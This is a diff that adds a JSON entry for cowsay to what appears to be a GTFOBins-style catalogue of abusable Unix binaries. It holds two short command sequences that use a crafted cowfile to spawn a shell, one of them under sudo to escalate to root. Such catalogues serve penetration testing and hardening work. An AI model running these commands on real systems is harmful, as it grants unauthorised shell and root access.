diff --git a/data/cowsay.json b/data/cowsay.json new file mode 100644 index 0000000..fdc131c --- /dev/null +++ b/data/cowsay.json @@ -0,0 +1,15 @@ +{ + "description": "It allows to execute Perl code, other functions may apply.", + "functions": { + "shell": [ + { + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\ncowsay -f $TF x\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x\n" + } + ] + } +}